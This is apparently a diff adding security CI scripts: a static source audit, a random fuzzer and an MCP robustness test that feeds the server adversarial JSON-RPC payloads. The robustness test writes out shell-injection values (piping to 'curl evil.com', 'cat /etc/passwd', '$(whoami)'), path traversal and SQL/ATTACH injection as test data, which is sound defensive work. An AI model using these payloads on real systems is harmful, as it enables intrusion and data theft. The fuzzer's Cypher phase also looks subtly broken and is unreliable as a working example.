printf '%s\n' "$matches" | grep -v 'socket(AF_UNIX' >/dev/null; then
|
||||
semantic_ok=false
|
||||
fi
|
||||
if [[ "$allowance_count" != "1" ||
|
||||
"$actual_count" != "$expected_count" ||
|
||||
"$semantic_ok" != "true" ]]; then
|
||||
echo "BLOCKED: ${relfile}: unexpected raw ${func}() surface"
|
||||
echo " expected=${expected_count:-none} actual=${actual_count} semantic_ok=${semantic_ok}"
|
||||
printf '%s\n' "$matches" | sed 's/^/ /'
|
||||
fail
|
||||
NETWORK_OK=false
|
||||
else
|
||||
echo "REVIEWED: ${relfile}: ${actual_count} count-bounded ${func}() call(s)"
|
||||
fi
|
||||
done
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if $NETWORK_OK; then
|
||||
echo "OK: Raw network calls are absent or explicitly count-bounded."
|
||||
fi
|
||||
|
||||
# ── 2. Hardcoded URLs in string literals ─────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for hardcoded URLs ---"
|
||||
|
||||
# Extract allowed URL prefixes from the allow-list
|
||||
# Format: URL:<url>:<justification>
|
||||
ALLOWED_URLS=()
|
||||
while IFS= read -r line; do
|
||||
[[ "$line" =~ ^#.*$ ]] && continue
|
||||
[[ -z "$line" ]] && continue
|
||||
if [[ "$line" =~ ^URL: ]]; then
|
||||
rest="${line#URL:}"
|
||||
# Extract URL (scheme://host/path) — stop at first colon that follows a non-slash
|
||||
if [[ "$rest" =~ ^(https?://[^[:space:]]+) ]]; then
|
||||
# The URL part extends until the justification separator
|
||||
# Use the fact that justifications follow the pattern ":word word"
|
||||
url_part="${BASH_REMATCH[1]}"
|
||||
# Remove trailing justification after last colon that precedes a space
|
||||
url_part="${url_part%%:[A-Za-z]*}"
|
||||
ALLOWED_URLS+=("$url_part")
|
||||
fi
|
||||
fi
|
||||
done < "$ALLOWLIST"
|
||||
|
||||
URL_OK=true
|
||||
|
||||
# Non-functional URL patterns to skip (comments, placeholders, comparisons, patterns)
|
||||
is_placeholder_url() {
|
||||
local url="$1"
|
||||
case "$url" in
|
||||
# Placeholder/example URLs in comments and code
|
||||
https://host/*|http://host/*) return 0 ;;
|
||||
https://...*|http://...*) return 0 ;;
|
||||
# Protocol prefix comparisons (strncmp, mg_match)
|
||||
http://) return 0 ;;
|
||||
https://) return 0 ;;
|
||||
# mg_match glob patterns with wildcards
|
||||
http://localhost:*) return 0 ;;
|
||||
http://127.0.0.1:*) return 0 ;;
|
||||
esac
|
||||
return 1
|
||||
}
|
||||
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
# Find lines with URLs (excluding comments)
|
||||
while IFS= read -r match; do
|
||||
[[ -z "$match" ]] && continue
|
||||
|
||||
# Skip lines that are clearly comments (/* ... */ or // ...)
|
||||
line_content="${match#*:}" # Remove line number prefix
|
||||
# Skip if the URL appears only in a comment on this line
|
||||
if echo "$line_content" | grep -qE '^\s*/[/*]'; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Extract URLs using grep -oE (POSIX-compatible)
|
||||
while IFS= read -r url; do
|
||||
[[ -z "$url" ]] && continue
|
||||
|
||||
# Skip non-functional placeholder URLs
|
||||
if is_placeholder_url "$url"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
allowed=false
|
||||
for aurl in "${ALLOWED_URLS[@]+"${ALLOWED_URLS[@]}"}"; do
|
||||
if [[ "$url" == "$aurl"* ]]; then
|
||||
allowed=true
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if ! $allowed; then
|
||||
echo "BLOCKED: ${relfile}: URL not on allow-list: $url"
|
||||
fail
|
||||
URL_OK=false
|
||||
fi
|
||||
done < <(echo "$match" | grep -oE 'https?://[A-Za-z0-9._/~:@!$&()*+,;=?#%-]+' || true)
|
||||
done < <(grep -n 'https\?://' "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' || true)
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if $URL_OK; then
|
||||
echo "OK: All URLs are on the allow-list."
|
||||
fi
|
||||
|
||||
# ── 3. File writes outside expected paths ────────────────────────
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for unexpected file writes in src/ ---"
|
||||
|
||||
FOPEN_FOUND=false
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
matches=$(grep -n 'fopen.*"w' "$file" 2>/dev/null \
|
||||
| grep -v '^\s*//' || true)
|
||||
[[ -z "$matches" ]] && continue
|
||||
case "$relfile" in
|
||||
src/cli/cli.c|src/store/store.c|src/pipeline/*.c|src/foundation/log.c|src/foundation/diagnostics.c|src/ui/http_server.c|src/ui/config.c|src/mcp/mcp.c)
|
||||
;; # Known safe (diagnostics.c: atomic .tmp+rename metrics dump to configured path)
|
||||
*)
|
||||
actual_count=$(printf '%s\n' "$matches" | wc -l | tr -d ' ')
|
||||
allowance=$(grep -E "^WRITE:${relfile}:[0-9]+:" \
|
||||
"$ALLOWLIST" 2>/dev/null || true)
|
||||
allowance_count=$(printf '%s\n' "$allowance" | grep -c . || true)
|
||||
expected_count=$(printf '%s\n' "$allowance" | cut -d: -f3)
|
||||
if [[ "$allowance_count" != "1" ||
|
||||
"$actual_count" != "$expected_count" ]]; then
|
||||
echo "REVIEW: ${relfile}: unexpected fopen(\"w\") surface"
|
||||
echo " expected=${expected_count:-none} actual=${actual_count}"
|
||||
printf '%s\n' "$matches" | sed 's/^/ /'
|
||||
FOPEN_FOUND=true
|
||||
else
|
||||
echo "REVIEWED: ${relfile}: ${actual_count} count-bounded private write(s)"
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if ! $FOPEN_FOUND; then
|
||||
echo "OK: All file writes are in expected locations."
|
||||
fi
|
||||
|
||||
# ── 4. Time-bomb pattern detection ────────────────────────────────
|
||||
# Scan for time/clock/sleep near dangerous calls — could indicate
|
||||
# code that activates malicious behavior after a delay or date.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for time-bomb patterns ---"
|
||||
|
||||
TIMEBOMB_FOUND=false
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
# Extract line numbers of dangerous calls
|
||||
DANGER_LINES=$(grep -n 'system(\|popen(\|cbm_popen(\|connect(\|execl(' "$file" 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' \
|
||||
| cut -d: -f1 || true)
|
||||
|
||||
[ -z "$DANGER_LINES" ] && continue
|
||||
|
||||
# For each dangerous call, check if time/clock/sleep appears within 10 lines
|
||||
for dline in $DANGER_LINES; do
|
||||
start=$((dline > 10 ? dline - 10 : 1))
|
||||
end=$((dline + 10))
|
||||
NEARBY=$(sed -n "${start},${end}p" "$file" 2>/dev/null \
|
||||
| grep -E 'time\(|clock\(|sleep\(|nanosleep\(|usleep\(' \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' | grep -v 'timeout' | grep -v 'elapsed' || true)
|
||||
if [ -n "$NEARBY" ]; then
|
||||
echo "REVIEW: ${relfile}:${dline}: time-related call near dangerous function"
|
||||
echo " $NEARBY"
|
||||
TIMEBOMB_FOUND=true
|
||||
fi
|
||||
done
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
if ! $TIMEBOMB_FOUND; then
|
||||
echo "OK: No suspicious time-bomb patterns found."
|
||||
fi
|
||||
|
||||
# ── 5. MCP tool handler file read audit ──────────────────────────
|
||||
# The MCP server (mcp.c) handles tool calls that return data to the
|
||||
# client. A malicious PR could add file reads that exfiltrate sensitive
|
||||
# data (e.g., ~/.ssh/id_rsa) through the normal tool response channel.
|
||||
# Track all file-reading functions in mcp.c against an allow-list.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning MCP tool handlers for file reads ---"
|
||||
|
||||
MCP_FILE="$ROOT/src/mcp/mcp.c"
|
||||
MCP_READS_OK=true
|
||||
if [ -f "$MCP_FILE" ]; then
|
||||
# Known safe file reads in mcp.c (with line-range context)
|
||||
# - search_code: writes pattern to tmpfile, reads grep output
|
||||
# - get_code_snippet: reads source via read_file_lines (path-contained)
|
||||
# - manage_adr: reads/writes ADR files
|
||||
# - detect_changes: reads git diff output
|
||||
# - update check: reads the version-check HTTP response (fixed buffer)
|
||||
# - HTTP transport: reads the incoming request body (content-length bound)
|
||||
# Count fopen/fread calls and compare against expected
|
||||
FOPEN_COUNT=$(grep -c 'fopen\|fread\|read_file' "$MCP_FILE" 2>/dev/null || echo "0")
|
||||
# Update this when legitimate reads are added. 15 reads audited as of the
|
||||
# search/ADR/Windows-support commits — all path-contained or transport
|
||||
# reads, no new exfiltration surface.
|
||||
EXPECTED_MAX=15
|
||||
if [ "$FOPEN_COUNT" -gt "$EXPECTED_MAX" ]; then
|
||||
echo "REVIEW: src/mcp/mcp.c has $FOPEN_COUNT file read operations (expected max $EXPECTED_MAX)"
|
||||
echo " New file reads in MCP tool handlers must be reviewed for data exfiltration risk."
|
||||
MCP_READS_OK=false
|
||||
fi
|
||||
fi
|
||||
|
||||
if $MCP_READS_OK; then
|
||||
echo "OK: MCP tool handler file reads within expected count."
|
||||
fi
|
||||
|
||||
# ── 6. GitHub Actions pinned to SHA ───────────────────────────────
|
||||
# Mutable tags (@v4) can be moved by compromised maintainers.
|
||||
# All Actions must be pinned to full commit SHAs.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for unpinned GitHub Actions ---"
|
||||
|
||||
UNPINNED_FOUND=false
|
||||
if [ -d "$ROOT/.github/workflows" ]; then
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
# Only check files tracked by git (skip stale untracked files)
|
||||
git ls-files --error-unmatch "$file" > /dev/null 2>&1 || continue
|
||||
while IFS= read -r match; do
|
||||
[[ -z "$match" ]] && continue
|
||||
echo "BLOCKED: ${relfile}: ${match}"
|
||||
echo " -> Pin to SHA: uses: owner/action@<commit-sha> # version"
|
||||
fail
|
||||
UNPINNED_FOUND=true
|
||||
done < <(grep -nE 'uses:.*@v[0-9]' "$file" 2>/dev/null || true)
|
||||
done < <(find "$ROOT/.github/workflows" -name '*.yml' -type f | sort)
|
||||
fi
|
||||
|
||||
if ! $UNPINNED_FOUND; then
|
||||
echo "OK: All GitHub Actions pinned to commit SHAs."
|
||||
fi
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────────
|
||||
|
||||
echo ""
|
||||
RESULT=$(cat "$FAIL_FLAG")
|
||||
if [[ "$RESULT" != "0" ]]; then
|
||||
echo "=== SECURITY AUDIT FAILED ==="
|
||||
echo "Fix the issues above or add entries to scripts/security-allowlist.txt with justifications."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Security audit passed ==="
|
||||
@@ -0,0 +1,186 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# The fuzzer IS python3; without it this gate would run zero mutations while
|
||||
# still reporting green. Fail loudly instead.
|
||||
command -v python3 >/dev/null 2>&1 || {
|
||||
echo "FAIL: python3 missing — the fuzz gate cannot generate payloads" >&2
|
||||
exit 1
|
||||
}
|
||||
# Reproducibility: every payload derives from a logged seed, so any crash is
|
||||
# re-runnable by construction (CBM_FUZZ_SEED overrides for replay).
|
||||
FUZZ_SEED="${CBM_FUZZ_SEED:-$$}"
|
||||
echo "fuzz seed: $FUZZ_SEED (replay: CBM_FUZZ_SEED=$FUZZ_SEED)"
|
||||
|
||||
# Fuzz testing: feeds random/mutated inputs to the MCP server and CLI
|
||||
# to find crashes, hangs, and memory errors. Runs for a limited time.
|
||||
#
|
||||
# Usage: scripts/security-fuzz-random.sh <binary-path> [duration_seconds]
|
||||
|
||||
BINARY="${1:?usage: security-fuzz-random.sh <binary-path> [duration_seconds]}"
|
||||
DURATION="${2:-60}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Fuzz Testing ($DURATION seconds) ==="
|
||||
|
||||
FUZZ_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
|
||||
|
||||
CRASHES=0
|
||||
ITERATIONS=0
|
||||
END_TIME=$((SECONDS + DURATION))
|
||||
|
||||
# Portable timeout
|
||||
run_with_timeout() {
|
||||
# PRESERVES the child's exit status: the whole gate exists to observe
|
||||
# crash codes (139/134/136), and an `|| true` here once made EC
|
||||
# unconditionally 0 — the crash checks were dead code and a SIGSEGV
|
||||
# read green. Timeout reports 124, which the checks correctly ignore.
|
||||
local secs="$1"; shift
|
||||
if command -v timeout &>/dev/null; then
|
||||
timeout "$secs" "$@"
|
||||
else
|
||||
perl -e "alarm($secs); exec @ARGV" -- "$@"
|
||||
fi
|
||||
}
|
||||
|
||||
# ── Phase 1: Random JSON-RPC mutations ───────────────────────
|
||||
echo ""
|
||||
echo "--- Phase 1: Random JSON-RPC mutations ---"
|
||||
|
||||
while [ $SECONDS -lt $END_TIME ]; do
|
||||
ITERATIONS=$((ITERATIONS + 1))
|
||||
|
||||
# Generate a random mutated JSON-RPC payload
|
||||
PAYLOAD=$(python3 -c "
|
||||
import random, string, json
|
||||
random.seed($FUZZ_SEED + $ITERATIONS)
|
||||
|
||||
# Base valid request
|
||||
base = {
|
||||
'jsonrpc': '2.0',
|
||||
'id': random.randint(-999999, 999999),
|
||||
'method': random.choice([
|
||||
'initialize', 'tools/call', 'tools/list',
|
||||
random.choice(string.ascii_letters) * random.randint(1, 100),
|
||||
'',
|
||||
]),
|
||||
}
|
||||
|
||||
# Random mutations
|
||||
mutation = random.randint(0, 10)
|
||||
if mutation == 0:
|
||||
# Valid tool call with random args
|
||||
base['params'] = {'name': 'search_graph', 'arguments': {
|
||||
'name_pattern': ''.join(random.choices(string.printable, k=random.randint(0, 500)))
|
||||
}}
|
||||
elif mutation == 1:
|
||||
# Huge nested object
|
||||
base['params'] = {'a': {'b': {'c': {'d': {'e': 'deep'}}}}}
|
||||
elif mutation == 2:
|
||||
# Random bytes as method
|
||||
base['method'] = ''.join(random.choices(string.printable, k=random.randint(1, 1000)))
|
||||
elif mutation == 3:
|
||||
# Null fields
|
||||
base['method'] = None
|
||||
base['id'] = None
|
||||
elif mutation == 4:
|
||||
# Array instead of object
|
||||
base = [1, 2, 3]
|
||||
elif mutation == 5:
|
||||
# Empty
|
||||
base = {}
|
||||
elif mutation == 6:
|
||||
# Random Cypher query
|
||||
base['params'] = {'name': 'query_graph', 'arguments': {
|
||||
'query': ''.join(random.choices(string.printable, k=random.randint(1, 200)))
|
||||
}}
|
||||
elif mutation == 7:
|
||||
# Very long string values
|
||||
base['params'] = {'name': 'search_graph', 'arguments': {
|
||||
'name_pattern': 'A' * random.randint(10000, 100000)
|
||||
}}
|
||||
elif mutation == 8:
|
||||
# Unicode/binary-like content
|
||||
base['params'] = {'name': 'search_code', 'arguments': {
|
||||
'pattern': ''.join(chr(random.randint(0, 0xFFFF)) for _ in range(100))
|
||||
}}
|
||||
elif mutation == 9:
|
||||
# Random tool name
|
||||
base['params'] = {'name': ''.join(random.choices(string.ascii_letters, k=50)), 'arguments': {}}
|
||||
else:
|
||||
# Completely random JSON
|
||||
base = ''.join(random.choices(string.printable, k=random.randint(1, 500)))
|
||||
|
||||
try:
|
||||
print(json.dumps(base))
|
||||
except:
|
||||
print(json.dumps({'garbage': True}))
|
||||
" 2>/dev/null || echo '{}')
|
||||
|
||||
# Build session: init + mutated payload
|
||||
INIT='{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}'
|
||||
printf '%s\n%s\n' "$INIT" "$PAYLOAD" > "$FUZZ_TMPDIR/input.jsonl"
|
||||
|
||||
# Run and check for crashes (not exit code — we expect errors, just not crashes)
|
||||
EC=0
|
||||
run_with_timeout 5 "$BINARY" < "$FUZZ_TMPDIR/input.jsonl" > /dev/null 2>&1 || EC=$?
|
||||
|
||||
# 139 = SIGSEGV, 134 = SIGABRT, 136 = SIGFPE — real crashes
|
||||
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
|
||||
echo "CRASH: exit code $EC on iteration $ITERATIONS"
|
||||
echo "Payload: $PAYLOAD"
|
||||
CRASHES=$((CRASHES + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Phase 1: $ITERATIONS iterations, $CRASHES crashes"
|
||||
|
||||
# ── Phase 2: Random Cypher queries via CLI ───────────────────
|
||||
echo ""
|
||||
echo "--- Phase 2: Random Cypher queries via CLI ---"
|
||||
|
||||
CLI_ITERATIONS=0
|
||||
CLI_END=$((SECONDS + 10))
|
||||
|
||||
while [ $SECONDS -lt $CLI_END ]; do
|
||||
CLI_ITERATIONS=$((CLI_ITERATIONS + 1))
|
||||
|
||||
QUERY=$(python3 -c "
|
||||
import random
|
||||
random.seed($FUZZ_SEED + 100000 + $CLI_ITERATIONS), string
|
||||
parts = ['MATCH', 'WHERE', 'RETURN', '(', ')', '-[', ']->', '<-[', ']-',
|
||||
'n', 'r', '.name', '.label', '=', '\"', \"'\", ';', '--', 'DROP',
|
||||
'DELETE', 'ATTACH', 'DETACH', '*', 'COUNT', 'LIMIT', 'ORDER BY']
|
||||
q = ' '.join(random.choices(parts, k=random.randint(1, 20)))
|
||||
# Sometimes add random garbage
|
||||
if random.random() > 0.5:
|
||||
q += ''.join(random.choices(string.printable, k=random.randint(1, 100)))
|
||||
print(q)
|
||||
" 2>/dev/null || echo "MATCH (n) RETURN n")
|
||||
|
||||
EC=0
|
||||
run_with_timeout 3 "$BINARY" cli query_graph "{\"query\":\"$QUERY\"}" > /dev/null 2>&1 || EC=$?
|
||||
EC=$?
|
||||
|
||||
if [ $EC -eq 139 ] || [ $EC -eq 134 ] || [ $EC -eq 136 ]; then
|
||||
echo "CRASH: exit code $EC on Cypher iteration $CLI_ITERATIONS"
|
||||
echo "Query: $QUERY"
|
||||
CRASHES=$((CRASHES + 1))
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Phase 2: $CLI_ITERATIONS iterations, $CRASHES total crashes"
|
||||
|
||||
# ── Summary ──────────────────────────────────────────────────
|
||||
echo ""
|
||||
if [ $CRASHES -gt 0 ]; then
|
||||
echo "=== FUZZ TESTING FAILED: $CRASHES crash(es) found ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Fuzz testing passed: $((ITERATIONS + CLI_ITERATIONS)) iterations, 0 crashes ==="
|
||||
@@ -0,0 +1,169 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 7: MCP robustness test — sends adversarial JSON-RPC payloads via stdio.
|
||||
#
|
||||
# Verifies the MCP server handles malformed, oversized, and crafted inputs
|
||||
# without crashing. Each payload is sent as a complete session (init + payload + EOF).
|
||||
#
|
||||
# Usage: scripts/security-fuzz.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-fuzz.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 7: MCP Robustness Test ==="
|
||||
|
||||
FAIL=0
|
||||
PASS=0
|
||||
TOTAL=0
|
||||
|
||||
# Temp directory for input files (avoids pipe/stdin issues with timeout)
|
||||
FUZZ_TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$FUZZ_TMPDIR"' EXIT
|
||||
FUZZ_HOME="$FUZZ_TMPDIR/home"
|
||||
FUZZ_CACHE="$FUZZ_TMPDIR/cache"
|
||||
mkdir -p "$FUZZ_HOME" "$FUZZ_CACHE"
|
||||
|
||||
# Helper: send a payload to the MCP server and check it doesn't crash.
|
||||
# Uses temp file + perl alarm for portable timeout (works on macOS + Linux).
|
||||
test_payload() {
|
||||
local name="$1"
|
||||
local payload="$2"
|
||||
TOTAL=$((TOTAL + 1))
|
||||
|
||||
# Write session input to a temp file (avoids pipe/stdin issues)
|
||||
local tmpinput="$FUZZ_TMPDIR/input_${TOTAL}.jsonl"
|
||||
local tmpoutput="$FUZZ_TMPDIR/output_${TOTAL}.jsonl"
|
||||
local acknowledgement_id=$((900000 + TOTAL))
|
||||
printf '%s\n%s\n%s\n%s\n' \
|
||||
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"fuzz","version":"1.0"}}}' \
|
||||
'{"jsonrpc":"2.0","method":"notifications/initialized"}' \
|
||||
"$payload" \
|
||||
"{\"jsonrpc\":\"2.0\",\"id\":$acknowledgement_id,\"method\":\"ping\",\"params\":{}}" \
|
||||
> "$tmpinput"
|
||||
|
||||
# Run with 10s timeout: GNU timeout → perl alarm fallback
|
||||
local ec=0
|
||||
if command -v timeout &>/dev/null; then
|
||||
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
|
||||
timeout 10 "$BINARY" < "$tmpinput" > "$tmpoutput" 2>&1 || ec=$?
|
||||
else
|
||||
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
|
||||
perl -e 'alarm(10); exec @ARGV' -- "$BINARY" \
|
||||
< "$tmpinput" > "$tmpoutput" 2>&1 || ec=$?
|
||||
fi
|
||||
|
||||
# Acceptable exits:
|
||||
# 0 = clean shutdown on EOF
|
||||
# 141 = SIGPIPE (pipe closed while writing — normal for stdio MCP)
|
||||
# 142 = SIGALRM (perl timeout — hung process, same as GNU timeout 124)
|
||||
# 124 = GNU timeout
|
||||
if [[ $ec -eq 0 || $ec -eq 141 ]]; then
|
||||
if grep -Eq "\"id\"[[:space:]]*:[[:space:]]*$acknowledgement_id([^0-9]|$).*\"result\"[[:space:]]*:" \
|
||||
"$tmpoutput"; then
|
||||
PASS=$((PASS + 1))
|
||||
else
|
||||
echo "FAIL: $name — target exited before acknowledging payload processing"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
elif [[ $ec -eq 124 || $ec -eq 142 ]]; then
|
||||
echo "FAIL: $name — timed out (hung for 10s)"
|
||||
FAIL=$((FAIL + 1))
|
||||
else
|
||||
echo "FAIL: $name — crashed with exit code $ec"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
# Mutating operations are session-owned and intentionally cancel on EOF. Keep
|
||||
# stdin open until the invalid-path response and a subsequent ping arrive so
|
||||
# this case tests robustness without racing the disconnect contract.
|
||||
test_invalid_index_interactive() {
|
||||
local name="index nonexistent path"
|
||||
TOTAL=$((TOTAL + 1))
|
||||
local tmpoutput="$FUZZ_TMPDIR/output_${TOTAL}.jsonl"
|
||||
local ec=0
|
||||
|
||||
HOME="$FUZZ_HOME" CBM_CACHE_DIR="$FUZZ_CACHE" \
|
||||
python3 "$(dirname "$0")/test_mcp_interactive.py" "$BINARY" \
|
||||
--scenario invalid-index --repo-path /nonexistent/path/abc123 \
|
||||
--response-timeout 45 --exit-timeout 15 > "$tmpoutput" 2>&1 || ec=$?
|
||||
|
||||
if [[ $ec -eq 0 ]]; then
|
||||
PASS=$((PASS + 1))
|
||||
else
|
||||
echo "FAIL: $name — interactive session failed"
|
||||
sed -n '1,20p' "$tmpoutput"
|
||||
FAIL=$((FAIL + 1))
|
||||
fi
|
||||
}
|
||||
|
||||
echo ""
|
||||
echo "--- Malformed JSON ---"
|
||||
|
||||
test_payload "empty line" ""
|
||||
test_payload "garbage" "not json at all"
|
||||
test_payload "truncated json" '{"jsonrpc":"2.0","id":2,"met'
|
||||
test_payload "null byte in json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test\u0000evil"}}}'
|
||||
test_payload "missing method" '{"jsonrpc":"2.0","id":2}'
|
||||
test_payload "missing id" '{"jsonrpc":"2.0","method":"tools/call"}'
|
||||
test_payload "wrong jsonrpc version" '{"jsonrpc":"1.0","id":2,"method":"tools/call","params":{}}'
|
||||
test_payload "array instead of object" '[1,2,3]'
|
||||
test_payload "deeply nested json" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":{"a":{"b":{"c":{"d":{"e":{"f":"deep"}}}}}}}}}'
|
||||
|
||||
echo ""
|
||||
echo "--- Oversized inputs ---"
|
||||
|
||||
# 1MB string argument
|
||||
HUGE=$(python3 -c "print('A' * 1048576)" 2>/dev/null || python3.9 -c "print('A' * 1048576)" 2>/dev/null || echo "AAAA")
|
||||
test_payload "1MB name_pattern" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"search_graph\",\"arguments\":{\"name_pattern\":\"$HUGE\"}}}"
|
||||
|
||||
# Very long tool name
|
||||
test_payload "1000-char tool name" "{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"$(python3 -c "print('x' * 1000)" 2>/dev/null || echo 'xxxx')\",\"arguments\":{}}}"
|
||||
|
||||
echo ""
|
||||
echo "--- Tool-specific adversarial inputs ---"
|
||||
|
||||
# search_graph with regex that could cause ReDoS
|
||||
test_payload "ReDoS regex" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"(a+)+$"}}}'
|
||||
|
||||
# query_graph with SQL injection attempts
|
||||
test_payload "SQL injection in query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n; DROP TABLE nodes; --"}}}'
|
||||
test_payload "ATTACH attempt via query" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"ATTACH DATABASE '"'"'/tmp/evil.db'"'"' AS evil"}}}'
|
||||
|
||||
# detect_changes with shell metacharacters in base_branch
|
||||
test_payload "shell injection in base_branch" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main'\''$(whoami)'\''","project":"nonexistent"}}}'
|
||||
test_payload "shell injection semicolon" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main; cat /etc/passwd","project":"nonexistent"}}}'
|
||||
test_payload "shell injection pipe" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"detect_changes","arguments":{"base_branch":"main | curl evil.com","project":"nonexistent"}}}'
|
||||
|
||||
# get_code_snippet with path traversal
|
||||
test_payload "path traversal in qualified_name" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_code_snippet","arguments":{"qualified_name":"../../../../etc/passwd"}}}'
|
||||
|
||||
# search_code with shell metacharacters in file_pattern
|
||||
test_payload "shell injection in file_pattern" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_code","arguments":{"pattern":"test","file_pattern":"*.py'\'' ; cat /etc/passwd #"}}}'
|
||||
|
||||
# index_repository with non-existent path (should return error, not crash)
|
||||
test_invalid_index_interactive
|
||||
|
||||
# Negative/zero values for numeric params
|
||||
test_payload "negative limit" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"search_graph","arguments":{"name_pattern":"test","limit":-1}}}'
|
||||
test_payload "zero max_depth" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"trace_path","arguments":{"function_name":"test","max_depth":0}}}'
|
||||
test_payload "huge max_rows" '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"query_graph","arguments":{"query":"MATCH (n) RETURN n","max_rows":999999999}}}'
|
||||
|
||||
echo ""
|
||||
echo "--- Results ---"
|
||||
echo " $PASS/$TOTAL passed"
|
||||
|
||||
if [[ $FAIL -gt 0 ]]; then
|
||||
echo " $FAIL FAILED"
|
||||
echo ""
|
||||
echo "=== MCP ROBUSTNESS TEST FAILED ==="
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "=== MCP robustness test passed ==="
|
||||
@@ -0,0 +1,169 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 4: Install output audit — verifies install --dry-run writes only to expected paths.
|
||||
#
|
||||
# Checks:
|
||||
# 1. All output file paths are in the expected set
|
||||
# 2. No writes to sensitive directories (~/.ssh, ~/.gnupg, ~/.aws, /etc, /usr)
|
||||
# 3. Skill file content contains no dangerous patterns
|
||||
#
|
||||
# Usage: scripts/security-install.sh <binary-path>
|
||||
|
||||
BINARY="${1:?usage: security-install.sh <binary-path>}"
|
||||
|
||||
if [[ ! -f "$BINARY" ]]; then
|
||||
echo "FAIL: binary not found: $BINARY"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "=== Layer 4: Install Output Audit ==="
|
||||
|
||||
TMPDIR=$(mktemp -d)
|
||||
trap 'rm -rf "$TMPDIR"' EXIT
|
||||
|
||||
# Set HOME to tmpdir so install writes there instead of real home
|
||||
export HOME="$TMPDIR/home"
|
||||
mkdir -p "$HOME"
|
||||
|
||||
FAIL=0
|
||||
|
||||
# ── 1. Run install and capture written files ─────────────────────
|
||||
|
||||
echo "--- Running install -y ---"
|
||||
|
||||
# Run install (non-interactive with -y flag)
|
||||
"$BINARY" install -y > "$TMPDIR/install_output.txt" 2>&1 || true
|
||||
|
||||
echo "Install output:"
|
||||
cat "$TMPDIR/install_output.txt"
|
||||
echo ""
|
||||
|
||||
# ── 2. Verify written paths are in expected set ──────────────────
|
||||
|
||||
echo "--- Verifying written file paths ---"
|
||||
|
||||
# Find all files created under HOME
|
||||
